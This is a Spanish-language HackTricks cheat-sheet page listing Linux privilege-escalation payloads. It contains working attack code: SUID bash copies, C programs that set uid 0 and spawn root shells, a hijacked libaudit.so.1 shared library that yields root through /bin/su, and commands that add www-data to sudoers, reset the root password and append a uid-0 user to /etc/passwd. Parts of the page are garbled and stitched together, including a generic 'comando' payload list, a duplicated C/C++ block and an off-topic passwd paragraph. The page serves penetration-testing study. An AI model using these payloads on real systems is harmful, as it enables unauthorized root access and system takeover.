hacktricks/linux-hardening/privilege-escalation/payloads-to-execute.md
carlospolop 466ebcbb16 f
2023-06-05 20:30:03 +02:00

8 KiB

Cargas útiles para ejecutar

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Bash

cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu

C

Payloads to Execute

Aquí hay una lista de payloads que se pueden usar para ejecutar comandos en diferentes lenguajes de programación.

Bash

bash -c 'comando'

Python

python -c 'import os; os.system("comando")'

Perl

perl -e 'system("comando")'

Ruby

ruby -e 'system("comando")'

Lua

lua -e 'os.execute("comando")'

Node.js

node -e 'require("child_process").exec("comando", function (error, stdout, stderr) { console.log(stdout) })'

PHP

php -r 'system("comando");'

Java

java.lang.Runtime.getRuntime().exec("comando")

.NET

powershell -c "Invoke-Expression 'comando'"

PowerShell

powershell -c 'comando'

C

#include <stdlib.h>
int main() {
system("comando");
}

C++

#include <stdlib.h>
int main() {
system("comando");
}
//gcc payload.c -o payload
int main(void){
    setresuid(0, 0, 0); //Set as user suid user
    system("/bin/sh");
    return 0;
}
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
    setuid(getuid());
    system("/bin/bash");
    return 0;
}
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    char *const paramList[10] = {"/bin/bash", "-p", NULL};
    const int id = 1000;
    setresuid(id, id, id);
    execve(paramList[0], paramList, NULL);
    return 0;
}

Sobrescribir un archivo para escalar privilegios

Archivos comunes

  • Agregar usuario con contraseña a /etc/passwd
  • Cambiar la contraseña dentro de /etc/shadow
  • Agregar usuario a sudoers en /etc/sudoers
  • Abusar de Docker a través del socket de Docker, generalmente en /run/docker.sock o /var/run/docker.sock

Sobrescribir una biblioteca

Verificar una biblioteca utilizada por algún binario, en este caso /bin/su:

ldd /bin/su
        linux-vdso.so.1 (0x00007ffef06e9000)
        libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
        libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
        libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
        libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)

En este caso intentaremos hacer una suplantación de identidad de /lib/x86_64-linux-gnu/libaudit.so.1.
Por lo tanto, verificamos las funciones de esta biblioteca utilizadas por el binario su:

objdump -T /bin/su | grep audit
0000000000000000      DF *UND*  0000000000000000              audit_open
0000000000000000      DF *UND*  0000000000000000              audit_log_user_message
0000000000000000      DF *UND*  0000000000000000              audit_log_acct_message
000000000020e968 g    DO .bss   0000000000000004  Base        audit_fd

Los símbolos audit_open, audit_log_acct_message, audit_log_acct_message y audit_fd probablemente provienen de la biblioteca libaudit.so.1. Como la librería libaudit.so.1 será sobrescrita por la biblioteca compartida maliciosa, estos símbolos deberían estar presentes en la nueva biblioteca compartida, de lo contrario el programa no podrá encontrar el símbolo y saldrá.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c

int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;

void inject()__attribute__((constructor));

void inject()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

Ahora, simplemente llamando /bin/su obtendrás una shell como root.

Scripts

¿Puedes hacer que root ejecute algo?

www-data a sudoers

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

Cambiar la contraseña de root

Para cambiar la contraseña de root, podemos utilizar el siguiente comando:

$ sudo passwd root

Esto nos pedirá la nueva contraseña para root y luego nos pedirá que la confirmemos. Es importante tener en cuenta que cambiar la contraseña de root puede afectar a otros servicios que dependen de ella, por lo que se debe hacer con precaución.

echo "root:hacked" | chpasswd

Agregar un nuevo usuario root a /etc/passwd

echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥